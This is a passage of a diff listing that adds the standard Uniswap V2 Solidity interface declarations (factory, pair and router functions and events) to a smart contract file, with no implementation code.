|
508 |
+
function feeToSetter() external view returns (address);
|
509 |
+
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
510 |
+
function allPairs(uint) external view returns (address pair);
|
511 |
+
function allPairsLength() external view returns (uint);
|
512 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
513 |
+
function setFeeTo(address) external;
|
514 |
+
function setFeeToSetter(address) external;
|
515 |
+
}
|
516 |
+
interface IUniswapV2Pair {
|
517 |
+
event Approval(address indexed owner, address indexed spender, uint value);
|
518 |
+
event Transfer(address indexed from, address indexed to, uint value);
|
519 |
+
function name() external pure returns (string memory);
|
520 |
+
function symbol() external pure returns (string memory);
|
521 |
+
function decimals() external pure returns (uint8);
|
522 |
+
function totalSupply() external view returns (uint);
|
523 |
+
function balanceOf(address owner) external view returns (uint);
|
524 |
+
function allowance(address owner, address spender) external view returns (uint);
|
525 |
+
function approve(address spender, uint value) external returns (bool);
|
526 |
+
function transfer(address to, uint value) external returns (bool);
|
527 |
+
function transferFrom(address from, address to, uint value) external returns (bool);
|
528 |
+
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
529 |
+
function PERMIT_TYPEHASH() external pure returns (bytes32);
|
530 |
+
function nonces(address owner) external view returns (uint);
|
531 |
+
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
|
532 |
+
event Mint(address indexed sender, uint amount0, uint amount1);
|
533 |
+
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
|
534 |
+
event Swap(
|
535 |
+
address indexed sender,
|
536 |
+
uint amount0In,
|
537 |
+
uint amount1In,
|
538 |
+
uint amount0Out,
|
539 |
+
uint amount1Out,
|
540 |
+
address indexed to
|
541 |
+
);
|
542 |
+
event Sync(uint112 reserve0, uint112 reserve1);
|
543 |
+
function MINIMUM_LIQUIDITY() external pure returns (uint);
|
544 |
+
function factory() external view returns (address);
|
545 |
+
function token0() external view returns (address);
|
546 |
+
function token1() external view returns (address);
|
547 |
+
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
|
548 |
+
function price0CumulativeLast() external view returns (uint);
|
549 |
+
function price1CumulativeLast() external view returns (uint);
|
550 |
+
function kLast() external view returns (uint);
|
551 |
+
function mint(address to) external returns (uint liquidity);
|
552 |
+
function burn(address to) external returns (uint amount0, uint amount1);
|
553 |
+
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
|
554 |
+
function skim(address to) external;
|
555 |
+
function sync() external;
|
556 |
+
function initialize(address, address) external;
|
557 |
+
}
|
558 |
+
interface IUniswapV2Router01 {
|
559 |
+
function factory() external pure returns (address);
|
560 |
+
function WETH() external pure returns (address);
|
561 |
+
function addLiquidity(
|
562 |
+
address tokenA,
|
563 |
+
address tokenB,
|
564 |
+
uint amountADesired,
|
565 |
+
uint amountBDesired,
|
566 |
+
uint amountAMin,
|
567 |
+
uint amountBMin,
|
568 |
+
address to,
|
569 |
+
uint deadline
|
570 |
+
) external returns (uint amountA, uint amountB, uint liquidity);
|
571 |
+
function addLiquidityETH(
|
572 |
+
address token,
|
573 |
+
uint amountTokenDesired,
|
574 |
+
uint amountTokenMin,
|
575 |
+
uint amountETHMin,
|
576 |
+
address to,
|
577 |
+
uint deadline
|
578 |
+
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
579 |
+
function removeLiquidity(
|
580 |
+
address tokenA,
|
581 |
+
address tokenB,
|
582 |
+
uint liquidity,
|
583 |
+
uint amountAMin,
|
584 |
+
uint amountBMin,
|
585 |
+
address to,
|
586 |
+
uint deadline
|
587 |
+
) external returns (uint amountA, uint amountB);
|
588 |
+
function removeLiquidityETH(
|
589 |
+
address token,
|
590 |
+
uint liquidity,
|
591 |
+
uint amountTokenMin,
|
592 |
+
uint amountETHMin,
|
593 |
+
address to,
|
594 |
+
uint deadline
|
595 |
+
) external returns (uint amountToken, uint amountETH);
|
596 |
+
function removeLiquidityWithPermit(
|
597 |
+
address tokenA,
|
598 |
+
address tokenB,
|
599 |
+
uint liquidity,
|
600 |
+
uint amountAMin,
|
601 |
+
uint amountBMin,
|
602 |
+
address to,
|
603 |
+
uint deadline,
|
604 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
605 |
+
) external returns (uint amountA, uint amountB);
|
606 |
+
function removeLiquidityETHWithPermit(
|
607 |
+
address token,
|
608 |
+
uint liquidity,
|
609 |
+
uint amountTokenMin,
|
610 |
+
uint amountETHMin,
|
611 |
+
address to,
|
612 |
+
uint deadline,
|
613 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
614 |
+
) external returns (uint amountToken, uint amountETH);
|
615 |
+
function swapExactTokensForTokens(
|
616 |
+
uint amountIn,
|
617 |
+
uint amountOutMin,
|
618 |
+
address[] calldata path,
|
619 |
+
address to,
|
620 |
+
uint deadline
|
621 |
+
) external returns (uint[] memory amounts);
|
622 |
+
function swapTokensForExactTokens(
|
623 |
+
uint amountOut,
|
624 |
+
uint amountInMax,
|
625 |
+
address[] calldata path,
|
626 |
+
address to,
|
627 |
+
uint deadline
|
628 |
+
) external returns (uint[] memory amounts);
|
629 |
+
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
630 |
+
external
|
631 |
+
payable
|
632 |
+
returns (uint[] memory amounts);
|
633 |
+
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
634 |
+
external
|
635 |
+
returns (uint[] memory amounts);
|
636 |
+
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
637 |
+
external
|
638 |
+
returns (uint[] memory amounts);
|
639 |
+
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
640 |
+
external
|
641 |
+
payable
|
642 |
+
returns (uint[] memory amounts);
|
643 |
+
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
644 |
+
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
645 |
+
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
646 |
+
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
647 |
+
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
648 |
+
}
|
649 |
+
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
650 |
+
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
651 |
+
address token,
|
652 |
+
uint liquidity,
|
653 |
+
uint amountTokenMin,
|
654 |
+
uint amountETHMin,
|
655 |
+
address to,
|
656 |
+
uint deadline
|
657 |
+
) external returns (uint amountETH);
|
658 |
+
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
659 |
+
address token,
|
660 |
+
uint liquidity,
|
661 |
+
uint amountTokenMin,
|
662 |
+
uint amountETHMin,
|
663 |
+
address to,
|
664 |
+
uint deadline,
|
665 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
666 |
+
) external returns (uint amountETH);
|
667 |
+
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
668 |
+
uint amountIn,
|
669 |
+
uint amountOutMin,
|
670 |
+
address[] calldata path,
|
671 |
+
address to,
|
672 |
+
uint deadline
|
673 |
+
) external;
|
674 |
+
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
675 |
+
uint amountOutMin,
|
676 |
+
address[] calldata path,
|
677 |
+
address to,
|
678 |
+
uint deadline
|
679 |
+
) external payable;
|
680 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
681 |
+
uint amountIn,
|
682 |
+
uint amountOutMin,
|
683 |
+
address[] calldata path,
|
684 |
+
address to,
|
685 |
+
uint deadline
|
686 |
+
) external;
|
687 |
+
}
|